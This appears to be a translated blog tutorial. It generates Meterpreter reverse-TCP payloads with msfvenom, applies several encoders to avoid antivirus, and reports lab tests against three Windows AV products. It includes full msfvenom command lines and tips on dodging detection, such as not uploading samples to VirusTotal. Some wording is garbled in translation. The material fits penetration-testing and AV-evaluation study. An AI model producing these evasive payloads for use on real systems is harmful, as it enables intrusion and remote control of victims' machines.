Payloads in MsfVenom using encoders. Testing and verifying signature detection

Introduction

Greetings, dear readers! In today's article, we will learn about creating payloads using msfvenom, using built-in encoders (means of hiding the payload) and test their effectiveness on three virtual machines with different antivirus software.

Disclaimer: All data provided in the article is taken from open sources. It does not call for action and is provided only for familiarization and study of the mechanisms of the technologies used.

Useful OSINT tools in telegram (always working links)

Creating payloads via msfvenom

MsfVenom is a tool that is part of the Metasploit framework and is used to create payloads. It combines the features of two older tools: msfpayload and msfencode. MsfVenom allows you to generate different types of malicious payloads that can be used to exploit vulnerabilities in systems.

Main features of MsfVenom:

Creating payloads: MsfVenom supports many types of payloads for different platforms including Windows, Linux, macOS and mobile operating systems.
Support for various formats: Payloads can be exported in various formats such as executables (EXE), scripts (PHP, Python), dynamic libraries (DLL) and many others.
Encryption and obfuscation: MsfVenom offers options to encrypt payloads and obfuscate them, which helps to avoid detection by antivirus software.
Generating one-line scripts: MsfVenom can create one-line scripts that can be easily pasted into other programs or used in web exploits.

Example of use

To create a simple payload for Windows, you can use the following command:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe

In this example:
– -p specifies the payload type (in this case Meterpreter with reverse TCP).
– LHOST And LPORT Specify the IP address and port for the reverse connection.
– -f Specifies the format of the output file (exe).
– -o specifies the name of the output file.

Built-in encoders to hide payload from antiviruses

MsfVenom uses encoders to obfuscate payloads to make them less visible to antivirus software and intrusion detection systems. Encoders change the byte code of the payload without changing its functionality, which helps to avoid detection. Let's look at three encoders:

1. x64/xor_context

Uses contextual XOR encryption, changing the key depending on execution, making it difficult to detect via static analysis. Example command to create a payload using this encoder:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_context -o payload.exe

2. x64/xor_dynamic

This encoder dynamically generates the XOR key at runtime, making it more resistant to analysis and detection. Example command:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_dynamic -o payload.exe

3. x64/zutto_dekiru

Encoder zutto_dekiru uses sophisticated obfuscation techniques, including encryption and code restructuring, making it difficult to analyze. Example command:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe

Explanations of commands

– -p: Defines the payload, in this case it is windows/x64/meterpreter/reverse_tcpwhich creates a reverse connection to the specified host.
– LHOST: Specifies the IP address of your device to which the return connection will be sent.
– LPORT: Specifies the port on which your device will listen.
– -e: Specifies the encoder you want to use.
– -o: Specifies the name of the output file where the encoded payload will be written.

Antivirus check

VirusTotal

The result is obvious, the payload was determined immediately. To check the signatures of the loads, sharing such online scanners is bad, because then they stop working and are exposed, so forget about online services like VirusTotal.

Virtual machines

For testing, we created three virtual machines running Windows 10 Pro and one running Kali Linux. We created one virtual network between all the machines without internet access (so that the antivirus software would not share signatures for analysis). We installed Kaspersky antivirus on one machine, Grizzly Pro on another, and left the third with the standard Windows Defender (we ran the “no defender” script on the two previous ones to completely disable Windows Defender for the sake of purity of testing).

The internal IPs of the machines are as follows:

Kali Linux – 192.168.56.4
Kaspersky – 192.168.56.5
Grizzly Pro – 192.168.56.6
Windows Defender – 192.168.56.7

First, let's test payloads without encoders. For example, let's take dll, exe (regular shell and meterpreter) and bat payloads, put them in an archive and drop them on each machine.

Creating loads and placing them in the archive

As soon as we threw the archive into the machine with Kaspersky, it immediately deleted both the exe and dll files, as well as the batch file, leaving no chance of launching or restoring.

Grizzly Pro antivirus responded well to exe and dll files, but completely ignored the batch file, which led to its launch and remote access.

Windows Defender responded identically to Grizzly Pro.

We launch the batch files and get remote access.

Launching bat on a machine with Grizzly Pro and similar to Windows Defender

Got a wheelbarrow session with Grizzly Pro

Received a car session with Windows Defender

As we can see, there is no point in encoding the bat files, but we will run the exe files through the three cryptors mentioned in the theoretical part. In the same way, we put all three shells into an archive and test them on all machines.

On the machine with Kaspersky, the situation is identical to the previous one, all three signatures were instantly deleted.

The situation is identical with the Grizzly Pro antivirus.

The machine with Windows Defender recognized all signatures.

Results

For convenience and maximum clarity, we have compiled a comparison table of signature detection from the tests above and added statistics for two popular antiviruses (Avast, Dr.Web).